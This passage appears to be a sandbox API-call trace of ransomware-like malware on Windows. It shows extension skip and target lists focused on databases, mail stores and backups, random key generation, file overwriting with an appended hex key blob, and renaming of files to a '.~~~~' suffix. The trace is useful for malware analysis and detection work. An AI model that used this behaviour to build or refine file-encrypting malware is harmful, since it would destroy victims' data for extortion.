	[0084.946] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20493586342) returned 1
	[0084.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c767910, dwHighDateTime=0x1d60e1e)) 
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c9e0
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9e0 | out: hHeap=0x300000) returned 1
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3740
	[0084.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0084.946] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.947] GetLastError () returned 0x0
	[0084.947] GetLastError () returned 0x0
	[0084.947] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.947] GetLastError () returned 0x0
	[0084.947] GetLastError () returned 0x0
	[0084.964] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe992b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.964] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x166d5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x166d5, lpOverlapped=0x0) returned 1
	[0084.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.965] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.965] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.965] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.965] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.965] CloseHandle (hObject=0x11c) returned 1
	[0084.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0084.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.~~~~")) returned 1
	[0084.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0084.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.967] GetLastError () returned 0x0
	[0084.967] RtlWakeConditionVariable () returned 0x365f70
	[0084.967] GetCurrentThreadId () returned 0x9f4
	[0084.967] GetCurrentThreadId () returned 0x9f4
	[0084.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0084.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9a8 | out: hHeap=0x300000) returned 1
	[0084.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3890
	[0084.967] lstrlenW (lpString=".scr") returned 4
	[0084.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".scr") returned 0x0
	[0084.967] lstrlenW (lpString=".cmd") returned 4
	[0084.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".cmd") returned 0x0
	[0084.967] lstrlenW (lpString=".dll") returned 4
	[0084.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dll") returned 0x0
	[0084.967] lstrlenW (lpString=".bat") returned 4
	[0084.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".bat") returned 0x0
	[0084.968] lstrlenW (lpString=".cpl") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".cpl") returned 0x0
	[0084.970] lstrlenW (lpString=".sys") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".sys") returned 0x0
	[0084.970] lstrlenW (lpString=".msc") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".msc") returned 0x0
	[0084.970] lstrlenW (lpString=".com") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".com") returned 0x0
	[0084.970] lstrlenW (lpString=".lnk") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".lnk") returned 0x0
	[0084.970] lstrlenW (lpString=".msp") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".msp") returned 0x0
	[0084.970] lstrlenW (lpString=".pif") returned 4
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".pif") returned 0x0
	[0084.970] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.982] lstrlenW (lpString=".sqb") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".sqb") returned 0x0
	[0084.982] lstrlenW (lpString=".ost") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".ost") returned 0x0
	[0084.982] lstrlenW (lpString=".txt") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".txt") returned 0x0
	[0084.982] lstrlenW (lpString=".mdt") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".mdt") returned 0x0
	[0084.982] lstrlenW (lpString=".BDB") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".BDB") returned 0x0
	[0084.982] lstrlenW (lpString=".eql") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".eql") returned 0x0
	[0084.982] lstrlenW (lpString=".DBF") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DBF") returned 0x0
	[0084.982] lstrlenW (lpString=".EQL") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".EQL") returned 0x0
	[0084.982] lstrlenW (lpString=".FDB") returned 4
	[0084.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".FDB") returned 0x0
	[0084.983] lstrlenW (lpString=".EDB") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".EDB") returned 0x0
	[0084.983] lstrlenW (lpString=".DACPAC") returned 7
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DACPAC") returned 0x0
	[0084.983] lstrlenW (lpString=".VHD") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".VHD") returned 0x0
	[0084.983] lstrlenW (lpString=".DBV") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DBV") returned 0x0
	[0084.983] lstrlenW (lpString=".dacpac") returned 7
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dacpac") returned 0x0
	[0084.983] lstrlenW (lpString=".sdf") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".sdf") returned 0x0
	[0084.983] lstrlenW (lpString=".accdb") returned 6
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".accdb") returned 0x0
	[0084.983] lstrlenW (lpString=".DBX") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DBX") returned 0x0
	[0084.983] lstrlenW (lpString=".MDT") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".MDT") returned 0x0
	[0084.983] lstrlenW (lpString=".SQB") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".SQB") returned 0x0
	[0084.983] lstrlenW (lpString=".vhd") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".vhd") returned 0x0
	[0084.983] lstrlenW (lpString=".bac") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".bac") returned 0x0
	[0084.983] lstrlenW (lpString=".mdf") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".mdf") returned 0x0
	[0084.983] lstrlenW (lpString=".BAK") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".BAK") returned 0x0
	[0084.983] lstrlenW (lpString=".BAC") returned 4
	[0084.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".BAC") returned 0x0
	[0084.983] lstrlenW (lpString=".dbs") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dbs") returned 0x0
	[0084.984] lstrlenW (lpString=".vhdx") returned 5
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".vhdx") returned 0x0
	[0084.984] lstrlenW (lpString=".NDF") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".NDF") returned 0x0
	[0084.984] lstrlenW (lpString=".dat") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dat") returned 0x0
	[0084.984] lstrlenW (lpString=".DBS") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DBS") returned 0x0
	[0084.984] lstrlenW (lpString=".CKP") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".CKP") returned 0x0
	[0084.984] lstrlenW (lpString=".edb") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".edb") returned 0x0
	[0084.984] lstrlenW (lpString=".PST") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".PST") returned 0x0
	[0084.984] lstrlenW (lpString=".dbf") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dbf") returned 0x0
	[0084.984] lstrlenW (lpString=".SQL") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".SQL") returned 0x0
	[0084.984] lstrlenW (lpString=".pst") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".pst") returned 0x0
	[0084.984] lstrlenW (lpString=".dbv") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dbv") returned 0x0
	[0084.984] lstrlenW (lpString=".SDF") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".SDF") returned 0x0
	[0084.984] lstrlenW (lpString=".dtxs") returned 5
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dtxs") returned 0x0
	[0084.984] lstrlenW (lpString=".db3") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".db3") returned 0x0
	[0084.984] lstrlenW (lpString=".OST") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".OST") returned 0x0
	[0084.984] lstrlenW (lpString=".dbx") returned 4
	[0084.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dbx") returned 0x0
	[0084.984] lstrlenW (lpString=".DB3") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DB3") returned 0x0
	[0084.985] lstrlenW (lpString=".DAT") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DAT") returned 0x0
	[0084.985] lstrlenW (lpString=".VHDX") returned 5
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".VHDX") returned 0x0
	[0084.985] lstrlenW (lpString=".ndf") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".ndf") returned 0x0
	[0084.985] lstrlenW (lpString=".DB") returned 3
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DB") returned 0x0
	[0084.985] lstrlenW (lpString=".sql") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".sql") returned 0x0
	[0084.985] lstrlenW (lpString=".MYD") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".MYD") returned 0x0
	[0084.985] lstrlenW (lpString=".DBT") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DBT") returned 0x0
	[0084.985] lstrlenW (lpString=".ACCDB") returned 6
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".ACCDB") returned 0x0
	[0084.985] lstrlenW (lpString=".fdb") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".fdb") returned 0x0
	[0084.985] lstrlenW (lpString=".bak") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".bak") returned 0x0
	[0084.985] lstrlenW (lpString=".myd") returned 4
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".myd") returned 0x0
	[0084.985] lstrlenW (lpString=".DTXS") returned 5
	[0084.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".DTXS") returned 0x0
	[0084.986] lstrlenW (lpString=".ckp") returned 4
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".ckp") returned 0x0
	[0084.986] lstrlenW (lpString=".dbt") returned 4
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".dbt") returned 0x0
	[0084.986] lstrlenW (lpString=".db") returned 3
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".db") returned 0x0
	[0084.986] lstrlenW (lpString=".TXT") returned 4
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".TXT") returned 0x0
	[0084.986] lstrlenW (lpString=".MDF") returned 4
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".MDF") returned 0x0
	[0084.986] lstrlenW (lpString=".bdb") returned 4
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".bdb") returned 0x0
	[0084.986] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.986] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.987] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.987] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20497727829) returned 1
	[0084.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c7d9d30, dwHighDateTime=0x1d60e1e)) 
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862cd0
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862cd0 | out: hHeap=0x300000) returned 1
	[0084.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f39e0
	[0084.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0084.988] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.988] GetLastError () returned 0x0
	[0084.988] GetLastError () returned 0x0
	[0084.988] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.988] GetLastError () returned 0x0
	[0084.988] GetLastError () returned 0x0
	[0084.989] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.989] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1f4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x1f4, lpOverlapped=0x0) returned 1
	[0084.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.991] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.991] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
